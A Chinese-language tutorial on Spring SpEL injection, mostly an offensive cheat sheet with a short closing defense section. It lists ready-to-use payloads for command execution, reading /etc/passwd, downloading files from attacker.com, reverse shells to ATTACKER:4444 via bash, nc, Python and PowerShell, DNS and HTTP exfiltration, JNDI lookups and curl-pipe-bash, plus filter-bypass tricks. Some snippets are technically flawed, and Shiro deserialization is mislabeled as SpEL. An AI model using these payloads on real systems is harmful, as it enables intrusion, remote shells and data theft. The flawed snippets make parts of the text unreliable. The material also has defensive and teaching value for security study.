一、SpEL 是什么
SpEL(Spring Expression Language)是 Spring Framework 自带的表达式语言,用于在运行时查询和操作对象图。它支持类型访问、方法调用、构造器调用等强大功能,这也为攻击者提供了 RCE 能力。
// SpEL 的基本语法
#{'hello'} // 字符串字面量
#{1 + 2} // 数学运算
#{T(java.lang.Runtime).getRuntime()} // 访问 Java 类型
#{'test'.toUpperCase()} // 方法调用
#{new java.io.File('/etc/passwd').exists()} // 构造器调用
1.1 SpEL 解析器的危险能力
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
public class SpELDemo {
public static void main(String[] args) {
ExpressionParser parser = new SpelExpressionParser();
// 1. 调用静态方法
Expression exp1 = parser.parseExpression(
"T(java.lang.Runtime).getRuntime().exec('whoami')"
);
exp1.getValue(); // RCE!
// 2. 反射调用任意方法
Expression exp2 = parser.parseExpression(
"T(java.lang.ProcessBuilder).new(new String[]{'/bin/sh','-c','whoami'}).start()"
);
exp2.getValue();
// 3. 实例方法调用 + 返回值
Expression exp3 = parser.parseExpression(
"'test'.concat(' pwned').toUpperCase()"
);
String result = (String) exp3.getValue(); // "TEST PWNED"
}
}
二、常见注入入口
2.1 @Value 注解注入
import org.springframework.beans.factory.annotation.Value;
// 漏洞场景: 用户可控字符串被注入 @Value
@Component
public class VulnComponent {
// 正常: 从 properties 读取
@Value("${app.name}")
private String appName;
// 漏洞: 直接接收 SpEL 表达式
// 如果 ${...} 中的内容来自用户输入
@Value("#{${user.spel.expression}}") // 用户输入: #{T(...).exec(...)}
private Object result;
// 如果 app.name = '#{T(java.lang.Runtime).getRuntime().exec("whoami")}'
// 那么 getter 被调用时就会执行命令
}
攻击流程:
用户可控 → ${user.input} → @Value("#{${user.input}}") → SpEL 解析 → 执行命令
Payload:
#{T(java.lang.Runtime).getRuntime().exec("whoami")}
#{T(java.lang.ProcessBuilder).new(new String[]{"/bin/sh","-c","whoami"}).start()}
2.2 @PreAuthorize / @Secured
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.web.bind.annotation.*;
@RestController
@RequestMapping("/api")
public class UserController {
// 漏洞: @PreAuthorize 支持 SpEL
// 如果角色/权限判断来自用户输入
@PreAuthorize("hasRole('" + someUserInput + "')")
@GetMapping("/admin")
public String admin() {
return "admin page";
}
// 攻击 Payload:
// role = '') or T(java.lang.Runtime).getRuntime().exec('whoami') or '
// 拼接后: hasRole('') or T(java.lang.Runtime).getRuntime().exec('whoami') or '')
// 更直接的方式
@PreAuthorize("T(java.lang.Runtime).getRuntime().exec(#userInput)")
@GetMapping("/test")
public String test(@RequestParam String userInput) {
return "done";
}
}
2.3 spring.expression 配置
// Spring Boot Actuator + Jolokia
// http://target/actuator/jolokia/exec/org.springframework.web.context:name=...
// 通过 MBean 调用 SpelExpressionParser
// 常见 Payload:
// T(java.lang.Runtime).getRuntime().exec('whoami')
// T(java.lang.ProcessBuilder).new(new String[]{"/bin/sh","-c","id"}).start()
// (T(java.lang.Runtime).getRuntime()).exec('whoami') // 加括号更安全
// JMX (Java Management Extensions) 注入
// 如果暴露了 MBeanServer
MBeanServer server = ManagementFactory.getPlatformMBeanServer();
// 直接调用表达式引擎
// SpEL 注入常见入口:
// 1. spring.expression parser.parseExpression(userInput)
// 2. SpelExpressionParser.getValue(userInput)
// 3. Thymeleaf th:each="${userInput}"
// 4. 模板字符串 "#{" + userInput + "}"
2.4 Thymeleaf + SpEL
<!-- Thymeleaf 模板中支持 SpEL -->
<!-- 如果 th:text 接收用户输入 -->
<div th:text="${userInput}"></div>
<!-- 攻击 Payload: -->
<!-- ${T(java.lang.Runtime).getRuntime().exec('whoami')} -->
<!-- ${T(java.lang.ProcessBuilder).new(new String[]{"/bin/sh","-c","whoami"}).start()} -->
<!-- 更隐蔽的 Payload -->
<div th:utext="${'__'.toLowerCase().replace('_','T(java.lang.Runtime).getRuntime().exec('whoami')')}">
<!-- 分段构造 -->
<div th:text="${''}"></div>
<div th:text="${'T(java.lang.Runtime).getRuntime().exec("whoami")'}"></div>
2.5 Data Binding 注入
// Spring MVC 参数绑定漏洞
@RestController
public class OrderController {
@PostMapping("/order")
public String createOrder(@RequestBody OrderDTO order) {
// 如果 OrderDTO 的某个字段用于 SpEL
return "created";
}
}
class OrderDTO {
private String templateExpression;
// 当 templateExpression 被传入 SpEL 解析器时触发
}
// Thymleaf 直接解析
// 某些配置会把请求参数直接拼进模板
// th:each="${param.pageSize}" + 用户注入
三、Payload 大全
3.1 基础命令执行
``
// Runtime.exec
#{T(java.lang.Runtime).getRuntime().exec('whoami')}
// ProcessBuilder
#{T(java.lang.ProcessBuilder).new(new String[]{"/bin/sh","-c","whoami"}).start()}
// 带输出捕获
#{(T(java.lang.Runtime).getRuntime().exec('/bin/sh -c whoami')).getInputStream()}
// Windows
#{T(java.lang.Runtime).getRuntime().exec('cmd.exe /c whoami')}
// PowerShell
#{T(java.lang.Runtime).getRuntime().exec('powershell -c whoami')}
``
3.2 文件操作
``
// 读文件
#{T(org.springframework.util.FileCopyUtils).copyToByteArray(new java.io.FileInputStream('/etc/passwd')).newString(T(java.nio.charset.StandardCharsets).UTF_8)}
// 更简单
#{T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get('/etc/passwd'))}
// 写文件
#{T(java.nio.file.Files).write(T(java.nio.file.Paths).get('/tmp/test.txt'),'hello'.getBytes())}
// 下载文件
#{T(org.apache.commons.io.FileUtils).copyURLToFile(new java.net.URL('http://attacker.com/shell.jar'), new java.io.File('/tmp/shell.jar'))}
``
3.3 完整反弹 Shell
``
// 反弹到 ATTACKER:4444
#{T(java.lang.Runtime).getRuntime().exec('bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"')}
// 使用 nc
#{T(java.lang.Runtime).getRuntime().exec('nc -e /bin/bash ATTACKER 4444')}
// 使用 python3
#{T(java.lang.Runtime).getRuntime().exec('python3 -c "import socket,subprocess,os;s=socket.socket();s.connect(('ATTACKER',4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(['/bin/bash'])"')}
// PowerShell 反弹
#{T(java.lang.Runtime).getRuntime().exec('powershell -c "$client = New-Object System.Net.Sockets.TcpClient;$client.Connect('ATTACKER',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"')}
``
3.4 带输出回显
``
// 用 TemplateEngine 设置结果到响应
// 某些场景可以回显执行结果
// 方式 1: 使用 Process + 读取 stdout
#{(#p = T(java.lang.Runtime).getRuntime().exec('/bin/sh -c id')), (new java.io.BufferedReader(new java.io.InputStreamReader(#p.getInputStream()))).lines().toArray()}
// 方式 2: ProcessBuilder
#{(#pb = T(java.lang.ProcessBuilder).new('/bin/sh', '-c', 'id').redirectErrorStream(true).start()), (new java.io.BufferedReader(new java.io.InputStreamReader(#pb.getInputStream()))).lines().toArray()}
// 方式 3: 写入 WebRoot 再读取
#{T(java.lang.Runtime).getRuntime().exec('whoami > /var/www/html/result.txt')}
// 方式 4: DNS 外带
#{T(java.lang.Runtime).getRuntime().exec('nslookup $(whoami).attacker.com')}
// 方式 5: HTTP 请求外带
#{T(java.net.URL).new('http://attacker.com/?d='+T(java.net.URLEncoder).encode(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get('/etc/passwd')).toString(),'UTF-8')).openConnection().getInputStream().read(new byte[1])}
``
四、绕过技巧
4.1 引号过滤绕过
``
// 单引号被过滤 → 用双引号
#{T(java.lang.Runtime).getRuntime().exec("whoami")}
// 单双引号都被过滤 → 用 java.lang.Character
#{T(java.lang.String).valueOf(T(java.lang.Character).toChars(T(java.lang.Integer).parseInt('0'))).isEmpty()}
// 更复杂的字符构造
#{T(java.lang.Character).toString(T(java.lang.Integer).parseInt('119')).concat(T(java.lang.Character).toString(T(java.lang.Integer).parseInt('104')))} // "wh"
// 或者使用数组
#{{'whoami', 'id'}}[0]
``
4.2 Runtime.exec 禁用绕过
``
// 如果 Runtime 类被禁用,用 ProcessBuilder
#{T(java.lang.ProcessBuilder).new(new String[]{"/bin/sh","-c","whoami"}).start()}
// 如果 ProcessBuilder 被禁用,用反射
#{T(java.lang.Class).forName("java.lang.Runtime").getMethod("getRuntime").invoke(null)}
// 用 javax.script
#{T(javax.script.ScriptEngineManager).new().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('whoami')")}
// 用 GroovyShell (如果有)
#{T(groovy.lang.GroovyShell).new().parse("Runtime.runtime.exec('whoami')").run()}
``
4.3 绕过低版本 SpEL 限制
``
// Spring 4.3+ 允许的写法
#{T(java.lang.Runtime).getRuntime().exec('whoami')}
// 旧版本可能需要 new
#{new java.lang.ProcessBuilder(new String[]{"/bin/sh","-c","whoami"}).start()}
// 括号技巧
#{(T(java.lang.Runtime).getRuntime()).exec('whoami')}
// 链式调用
#{T(java.lang.Runtime).getRuntime().getClass().getMethod("exec", T(java.lang.String)).invoke(T(java.lang.Runtime).getRuntime(), "whoami")}
``
五、实战场景
5.1 Spring Boot Actuator SpEL
``
常见 Actuator 路径:
GET /actuator/env
GET /actuator/beans
GET /actuator/mappings
GET /actuator/configprops
Jolokia + SpEL (常见 CVE)
http://target/actuator/jolokia/exec/org.springframework.boot:type=Admin,name=SpringApplication/reset
http://target/actuator/jolokia/exec/org.springframework.context:type=...
通过 env 中的 SpEL 注入配置
修改 application.yml / properties
my.expression=#{T(java.lang.Runtime).getRuntime().exec('whoami')}
如果这个属性被传入 @Value 解析 → RCE
``
5.2 Shiro rememberMe SpEL
``
Apache Shiro 反序列化 SpEL 注入 (CVE-2016-4437 / CVE-2019-12422)
攻击流程:
1. 获取 rememberMe=1 的 Cookie
2. 删除 rememberMe 字段后尝试登录
3. 构造恶意序列化数据
Payload 生成 (ysoserial)
java -jar ysoserial.jar CommonsCollections5 'whoami'
SpEL 版本 (CommonsCollections6 + LazyMap + PriorityQueue)
利用链:
PriorityQueue.readObject() → TransformingComparator.compare()
→ LazyMap.get() → TiedMapEntry.toString() → ChainedTransformer.transform()
→ InvokerTransformer → 反射调用 Runtime.exec
``
5.3 JDK 8u191+ 绕过
``
// JDK 8u191+ 修复了 JNDI 远程类加载
// SpEL + JNDI 绕过 Payload
// 方式 1: 使用本地 Reference + 远程 Codebase
#{T(javax.naming.InitialContext).new().lookup('ldap://attacker.com:1389/Exploit')}
// 方式 2: Tomcat JreEnv
#{T(org.apache.naming.InitialContext).new().lookup('ldap://attacker.com:1389/Exploit')}
// 方式 3: 通过 ProcessBuilder 下载并执行
#{T(java.lang.ProcessBuilder).new(new String[]{'/bin/sh','-c','curl http://attacker.com/s.sh|bash'}).start()}
``
六、防御
6.1 避免用户输入进入 SpEL
``java
// ❌ 危险: 用户输入直接拼进表达式
String expr = "#{" + userInput + "}";
parser.parseExpression(expr);
// ✅ 安全: 表达式硬编码,数据通过上下文传入
String expr = "#{user.name}";
StandardEvaluationContext ctx = new StandardEvaluationContext();
ctx.setVariable("user", currentUser);
parser.parseExpression(expr).getValue(ctx);
``
6.2 限制 SpEL 能力
``java
// 使用 SimpleEvaluationContext 替代 StandardEvaluationContext
// SimpleEvaluationContext 不支持类型引用 (T(...)) 和构造器调用
SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
Expression exp = parser.parseExpression("#{user.name}", context);
// 或者手动限制类型访问
StandardEvaluationContext context = new StandardEvaluationContext();
// 添加自定义 TypeLocator 过滤危险类型
context.setTypeLocator(new RestrictedTypeLocator());
// Spring Security 的 SpEL 策略
// 禁用某些表达式类型
``
6.3 输入验证
``java
// 白名单验证: 只允许简单属性访问
Pattern safePattern = Pattern.compile("^#{[a-zA-Z0-9_.]+}$");
if (!safePattern.matcher(userInput).matches()) {
throw new SecurityException("Invalid expression");
}
// 黑名单过滤危险关键字
String[] blocked = {"Runtime", "ProcessBuilder", "Class", "Method", "exec",
"javax.naming", "InitialContext", "ScriptEngine"};
for (String word : blocked) {
if (userInput.contains(word)) {
throw new SecurityException("Blocked keyword: " + word);
}
}
``
七、总结
SpEL 注入的核心利用链:
- 找到入口:@Value / @PreAuthorize / 模板引擎 / Actuator / Shiro
- 构造 Payload:T(java.lang.Runtime).getRuntime().exec() / ProcessBuilder.new()
- 绕过限制:字符构造、双引号、反射链
- 完整 RCE:Runtime.exec + /bin/sh -c + 反弹 shell
防御核心:永远不要将用户输入拼进表达式,使用 SimpleEvaluationContext 限制能力,对传入表达式的输入严格白名单验证。